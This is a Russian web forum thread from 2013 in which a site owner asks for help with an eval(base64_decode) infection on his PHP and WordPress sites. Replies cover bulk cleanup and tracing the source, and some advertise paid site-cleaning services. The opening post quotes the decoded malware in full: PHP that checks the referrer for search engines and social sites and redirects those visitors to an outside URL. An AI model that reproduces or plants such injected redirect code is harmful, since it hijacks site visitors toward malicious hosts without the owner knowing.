Вирус base64_decode залез на сайт

Seliko09 · 2013-02-05T17:12:35.0000000Z

Приветствую всех! Почти во все php-файлы сайта залез код eval(base64_decode . Собственно сайты перестали работать и я так понимаю - причина в этом. Код раздекодили и вот его содержание: zö¥m«ë^r^ error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://at5.us/13140"); exit(); } } } Кто разбирается? В этом причина? Как избавиться от вируса? Один сайт на wordpress, другой на другом.

52

Seliko09

5 февраля 2013, 19:51

#21

SeVlad,

Да стормозил, замотался. :(

Сейчас CrePashOk взялся за очистку одного сайта, сайт на ноги уже поставили, очищаем.

Кредиты до 15000$ (http://debtum.ru/?ref=113) Монетизация RU, UA трафа. Дорого.

169

porh

5 февраля 2013, 20:08

#22

Seliko09:
Так как можно очистить массово все файлы?

Программа "search and replace"

52

Seliko09

5 февраля 2013, 20:11

#23

porh:
Программа "search and replace"

Если просто заменить/удалить называется очисткой, то я больше привык к @Text Replacer :)

Утилита более простая, более быстрая.

R

180

Алексей

5 февраля 2013, 20:21

#24

ТС, удаление просто вируса думается проблема не решиться, проверяйте файлы сайта, ищите источник. Лог в таком анализе не думаю что помогут. Если сами не справитесь стучите проверим сайт на вирусы + дадим рекомендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov

169

porh

5 февраля 2013, 20:21

#25

Seliko09:
Если просто заменить/удалить называется очисткой,

Вы спрашивали о массовой очистке.

1

Маркетинг для шоколадной фабрики. На 34% выше средний чек

Google: E-E-A-T не является фактором ранжирования